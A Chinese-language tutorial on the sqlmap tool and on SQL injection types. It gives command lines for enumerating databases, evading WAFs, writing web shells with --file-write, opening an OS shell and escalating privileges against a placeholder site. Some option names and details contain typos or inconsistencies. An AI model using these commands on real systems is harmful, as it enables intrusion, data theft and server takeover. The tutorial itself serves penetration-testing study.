Sqlmap工具使用以及Sql注入基本类型
Sqlmap工具使用以及Sql注入基本类型
sqlmap常用参数
sqlmap输入结果时会用到-v参数,有7个等级,默认为1
-
0:只显示python的tracebacks信息,错误信息和关键信息
-
1:显示普通信息【INFO】和警告信息【WARNING】
-
2:同时显示调试信息【DEBUG】
-
3:同时显示注入使用的payload
-
4:同时显示HTTP请求
-
5:同时显示HTTP响应头
-
6:同时显示HTTP响应体
sqlmap中level分为1-5,默认为1,检查cookie至少为2,检查User-Agent等级至少为3,5级包含的payload最多,会自动破解出Cookie、XFF等头部注入,对应的速度也会比较慢。
sqlmap中risk等级为0-3,默认为1,会检测大部分的测试语句,等级为2时会增加基于事件的测试语句,等级为3会增加or语句的SQL注入测试
5种注入模式
-
基于布尔的盲注:根据返回页面判断条件真假的注入
-
基于事件的盲注:不能根据页面返回内容判断任何信息,用条件语句判断时间延迟语句是否执行(页面返回事件是否增加)
-
基于报错的注入:页面会返回错误信息,或者把注入语句的结果直接返回在页面中
-
联合查询注入:可以使用UNION情况下的注入
-
堆查询注入:可以同时执行多条语句执行时的注入
以MySql数据库为例,一般会使用一下语句
//检测注入点
sqlmap -u "www.test.com/?id=1"
//指定检测参数
sqlmap -u "www.test.com/?id=1&page=2" -p id
//识别数据库类型
sqlmap -u "www.test.com/?id=1" -f
//识别数据库版本
sqlmap -u "www.test.com/?id=1" -b
//列出当前数据库
sqlmap -u "www.test.com/?id=1" --current-db
//列出所有数据库
sqlmap -u "www.test.com/?id=1" --dbs
//列出指定数据库的表
sqlmap -u "www.test.com/?id=1" -D test --tables
//列出指定表的字段
sqlmap -u "www.test.com/?id=1" -D test -T user --columns
//避开waf等设备
sqlmap -u "www.test.com/?id=1" --tamper xxx.py
获取交互式如下。
shell sqlmap -u "www.test.com/?id=1" --os-shell
需要具备三个条件:
- 必须是数据库root权限
- 已经获取网站的路径
- GPC设置为off
sqlmap的--os-shell在mysql数据库中的原理,其实就是往服务器上写入了两个php,其中一个给我们提供了文件上传的页面,可以通过这个上传页面上传脚本文件到当前目录下。另外一个则是返回了可以让我们执行系统命令的命令行,命令行也可以在网页url中通过对cmd参数传参执行系统命令。
指定注入模式如下。
sqlmap -u "www.test.com/?id=1" --technique (B/E/U/S/T)
- B:布尔型注入
- E:报错型注入
- U:可联合查询注入
- S:可多语句查询注入
- T:基于时间延迟注入
file协议写shell
sqlmap -u "www.test.com/?id=1" --file-write "本地文件" --file-dest "网站绝对路径+文件名"
POST和Cookie注入
在检测POST型注入的时候一般会将POST包放入一个txt文档里
检测注入点如下
sqlmap -r test.txt
Cookie型注入如下
sqlmap -u "www.test.com/?id=1" --cookie "xxxxx"
Request可设置请求方式,如GET、POST请求,以及Cookie注入等
--method=METHON 指定是get方法还是post方法。例:--methon=GET
--data=DATA 指定参数。例:-u "xxx?id=1" --data="name=1&pass=2"
--cookie=COOKIE 指定测试使用的cookie。例:-u "xxx?id=1" --cookie="a=1;b=2"
--user-agent=AGENT指定一个user-agent值进行测试。例:--user-agent="aaaa"
--random-agent使用随机user-agent进行测试。 level >= 3 会检测user-agent
Optimization可选择测试的方式,设置线程,设置指定类型,绕过waf等
--threads=THREADS 开启多线程,默认为1,最大为10
-p 指定测试参数,使用这个--level就会失效
Detection设置目标测试的等级、风险级别、标志位等
--level=LEVEL设置测试等级。lv2:Cookie. lv3:user-agent,refere. lv5:host
--risk=RISK风险(1-4)。risk2:基于事件的测试; risk3:or语句测试; risk4:updata的测试
Techniques可检测SQL注入漏洞存在的技术类型
--teechnique=TECH 指定所使用的技术
B:布尔盲注
E:报错注入
U:联合查询注入
S:文件系统,操作系统,注册表相关
T:时间盲注
Fingerprint可查看指纹、数据库、操作系统等信息
-f,--fingerprint 指纹信息,返回DBMS,操作系统,架构,补丁等信息
File system access可使用SQL注入漏洞上传WebShell、文件等
--file-read=RFILE 读取目标站点的一个文件。
--file-write=WFILE 写入目标站点的一个文件,通常和--sql-query连用。
例:--sql-query="select "一句话木马" --file-write="shell.php"
--file-dest=DFILE 同上,只是使用绝对路径写入
Operating system access可执行系统命令,提升获取的权限
--os-cmd=OSCMD 执行一句系统命令。例:--os-cmd="ipconfig -all"
--os-shell 创建一个对方操作系统的shell,远程执行命令
--priv-esc自动提权,数据库进程用户权限提升